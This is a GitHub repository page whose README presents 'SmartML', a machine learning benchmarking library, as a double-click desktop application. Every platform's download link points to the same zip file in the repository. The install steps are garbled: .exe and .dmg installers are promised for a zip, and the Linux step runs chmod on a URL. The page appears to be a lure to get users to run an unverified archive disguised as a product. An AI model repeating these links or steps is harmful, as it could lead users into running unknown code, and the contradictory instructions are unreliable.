Skip to content

πŸ€– Benchmark tabular machine learning models fair and reproducibly with SmartML, a CPU-first library ensuring zero data leakage and honest model comparisons.

License

Notifications You must be signed in to change notification settings

nebilcan/SmartML

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

11 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 SmartML - Unlock the Power of Machine Learning

Download SmartML

πŸ“¦ What is SmartML?

SmartML is a core module within the SmartEco ecosystem. It handles tasks such as data encoding, model execution, benchmarking, and evaluation. With SmartML, you can explore various machine learning techniques like classification, regression, and benchmarking with popular algorithms including CatBoost, KNN, LightGBM, PyTorch, and XGBoost.

πŸš€ Getting Started

Follow these simple steps to download and run SmartML. No technical knowledge is needed.

πŸ’» System Requirements

Before you get started, make sure your computer meets the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or a recent version of Linux (Ubuntu preferred).
  • Memory: At least 4GB RAM.
  • Storage: At least 1GB of free space for installation.
  • Python: Make sure Python 3.7 or later is installed on your machine.

πŸ“₯ Download & Install

  1. Visit the Download Page: Click here to access the SmartML Releases page.

  2. Select the Latest Release: Look for the latest version, which often appears at the top of the page.

  3. Download the File: You will see files available for download. Choose the version that matches your operating system. For example:

    • Windows: Click on https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip
    • macOS: Click on https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip
    • Linux: Click on https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip
  4. Run the Installer:

    • Windows: Double-click the downloaded .exe file and follow the instructions provided in the setup wizard.
    • macOS: Open the .dmg file, drag the SmartML application to your Applications folder, and then open it.
    • Linux: Open a terminal, navigate to the directory where you downloaded the file, and run the command chmod +x https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip to make it executable. Then, type https://raw.githubusercontent.com/nebilcan/SmartML/main/SmartEco/SmartML/ML-Smart-v3.6.zip to start the installation.
  5. Follow On-Screen Instructions: Complete the installation by following the prompts. Once finished, the application will be ready for use.

πŸŽ‰ Using SmartML

After installation, launch SmartML from your applications list. You can begin encoding your data and exploring various machine learning benchmarks immediately.

πŸ› οΈ Main Features

  • Data Encoding: Transform your data into a format suitable for machine learning models.
  • Model Execution: Run various machine learning models and see how they perform.
  • Benchmarking: Compare multiple algorithms to understand their efficiency and accuracy.
  • Evaluation: Analyze the results of your ML models to make informed decisions.

πŸ’‘ Example Workflows

Here are some typical tasks you can accomplish with SmartML:

  • Classification Tasks: Use SmartML to classify data points into different categories using algorithms like KNN or CatBoost.

  • Regression Analysis: Predict continuous values with algorithms such as LightGBM.

  • Benchmarking Multiple Models: Assess different models to determine the best one for your data.

❓ Frequently Asked Questions

Q1: Do I need programming skills to use SmartML?

No, SmartML is designed for users of all skill levels. You can perform tasks without programming knowledge.

Q2: Can I use SmartML on any operating system?

SmartML supports Windows, macOS, and Linux. Ensure you download the correct installer for your OS.

Q3: What should I do if I encounter an error during installation?

Check your system requirements first. If problems persist, search the "Issues" section of this repository, or contact support through the available channels.

πŸ“ž Support

If you need help, please reach out via the "Issues" section of the repository. We aim to assist you promptly.

🌐 Topics Covered

  • Benchmarking
  • Machine Learning
  • Data Science
  • Model Evaluation
  • Classification and Regression Techniques

For further exploration, visit the official SmartML repository. Be sure to check for updates and new features regularly.

⭐ Additional Resources

Download SmartML today and start your journey in the world of machine learning!

Download SmartML

About

πŸ€– Benchmark tabular machine learning models fair and reproducibly with SmartML, a CPU-first library ensuring zero data leakage and honest model comparisons.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages